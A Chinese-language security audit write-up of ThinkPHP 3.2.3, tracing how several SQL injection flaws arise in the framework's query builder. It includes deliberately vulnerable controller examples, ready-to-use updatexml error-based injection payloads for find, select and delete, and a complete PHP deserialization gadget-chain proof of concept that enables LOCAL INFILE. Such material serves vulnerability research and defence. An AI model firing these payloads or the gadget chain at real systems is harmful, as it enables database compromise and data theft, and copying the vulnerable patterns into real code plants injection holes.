ThinkPHP3.2.3代码审计

ThinkPHP中的一些函数

ThinkPHP/Common/functions.php中编写了Think 系统函数库,里面有一些函数可以方便用户使用

function I($name,$default='',$filter=null,$datas=null)用于获取输入参数,支持过滤和默认值

function M($name='', $tablePrefix='',$connection='')用于实例化一个没有模型文件的Model

where中直接拼接条件导致的SQL注入

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $id = I($name="get.id",$default=1);
        $data = M("users")->where("id=$id")->find();
        dump($data);
    }
}

由于上面直接拼接了条件,所以会有SQL注入

2023-01-13T15:28:41.png

exp注入

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $data = $_GET['u'];
        $data = M('users')->where(array("username"=>$data))->find();
        dump($data);
    }
}

注意到这里的u没有用前文提到的I函数来读取

一个简单的poc:

2023-01-13T15:28:49.png

我们来跟进一下输入

2023-01-13T15:28:58.png

M函数相当于实例化了一个users模型

2023-01-13T15:29:05.png

接下来看where函数

2023-01-13T15:29:12.png

这里parse是空的,而且显然where不是一个对象

这里get_object_vars($object)返回由对象属性组成的关联数组

最后直接赋值到$this并返回

2023-01-13T15:29:22.png

继续跟进find函数,看到生成sql语句的地方

2023-01-13T15:29:31.png

继续跟进

2023-01-13T15:29:37.png

2023-01-13T15:29:43.png

2023-01-13T15:29:51.png

一直跟进到parseWhereItem中,有

2023-01-13T15:30:00.png

2023-01-13T15:30:06.png

2023-01-13T15:30:12.png

可以看到这里的where表达式直接拼接了!接下来怎么注都可以

最后返回了一句sql注入后的命令

2023-01-13T15:30:20.png

而如果是通过I函数读入的话,跟进一下可以看到

2023-01-13T15:30:30.png

2023-01-13T15:30:36.png

exp字符被过滤了,所以不能注入

find/select/delete/update注入

find

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $id = I('id');
        $res = M("users")->find($id);
//      $res = M("users")->select($id);
//      $res = M("users")->delete($id);
        dump($res);
    }
}

exp:

id[where]=1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+
id[table]=users+where+1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+
id[alias]=where+1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+

第一种情况

跟进find函数,有一处表达式分析

2023-01-13T15:30:48.png

继续跟进_parseOptions,一直到表达式过滤的地方

2023-01-13T15:30:54.png

结果是直接返回$options

继续跟进select

2023-01-13T15:31:06.png

2023-01-13T15:31:12.png

后面就和exp引起的注入是一样的了

2023-01-13T15:31:18.png

第二种情况

直接看parseTable里面

2023-01-13T15:31:26.png

最后相当于按照逗号分开又拼了回去

第三种情况

2023-01-13T15:31:33.png

可以发现alias里的值会直接接在table的后面

一些其他的尝试

后来还想试一下union注入,但是...

2023-01-13T15:31:40.png

再回到之前的parseSql,看以看出LIMIT放在了比较前面的位置,可能是由于Mysql版本的原因,这里无法实现注入

不过前面的Order也是可以利用的

2023-01-13T15:31:48.png

select

和find情况类似

delete

也是类似,不过where参数必须有值

2023-01-13T15:31:55.png

update

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $user['name'] = I("name");
        $data['pass'] = I("pass");
        $res = M("user")->where($user)->save($data);
        dump($res);
    }
}

2023-01-13T15:32:09.png
只用bind表达式的时候,id后面会有个冒号,好像就不能注入了

2023-01-13T15:32:17.png

反序列化SQL注入

先从__destruct()函数入手

Imagick.class.php中有个可以利用的地方

    public function __destruct() {
        empty($this->img) || $this->img->destroy();
    }

接下来找destroy()函数

Memcache.php中有一个

    public function destroy($sessID) {
        return $this->handle->delete($this->sessionName.$sessID);
    }

在php7版本中,没有传参数会报错,但是在php5版本中不会

然后找一个可以利用的delete()函数,选择Think\Model.class.php

    public function delete($options=array()) {
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }
        if(is_numeric($options)  || is_string($options)) {
            // 根据主键删除记录
            if(strpos($options,',')) {
                $where[$pk]     =  array('IN', $options);
            }else{
                $where[$pk]     =  $options;
            }
            $options            =  array();
            $options['where']   =  $where;
        }
        // 根据复合主键删除记录
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 分析表达式
        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }        
        $result  =    $this->db->delete($options);
        if(false !== $result && is_numeric($result)) {
            $data = array();
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_delete($data,$options);
        }
        // 返回删除记录个数
        return $result;
    }

考虑一开始的option为空,控制$this->data里的参数,在下一层迭代里操作

注意我们要手动为$this->db实例化一个mysql类,然后继续跟进到$this->db->delete里面

    public function delete($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        if(strpos($table,',')){// 多表删除支持USING和JOIN操作
            if(!empty($options['using'])){
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

发现我们只要控制了table就能任意SQL注入了

POC:

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "Thinkphp",    //数据库名
            "hostname" => "127.0.0.1",    //地址
            "hostport" => "3306",    //端口
            "charset"  => "utf8",
            "username" => "root",    //用户名
            "password" => "root"    //密码
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick
    {
        private $img;
        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver {
    use Think\Model;
    class Memcache
    {
        protected $handle;
        protected $sessionName  = '';
        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}

namespace Think{

    use Think\Db\Driver\Mysql;

    class Model{
        protected $pk = 'id';
        protected $options = array();
        protected $data = array();
        protected $db = null;
        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "information_schema.tables where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}
namespace {
    $a = serialize(new Think\Image\Driver\Imagick());
    echo $a;
    echo "\n";
    echo base64_encode($a);
}

参考资料

ThinkPHP3.2不规范接收参数导致的SQL注入分析之exp

ThinkPHP3.2find(),select(),delete()注入分析

Thinkphp3.2.3反序列化漏洞复现分析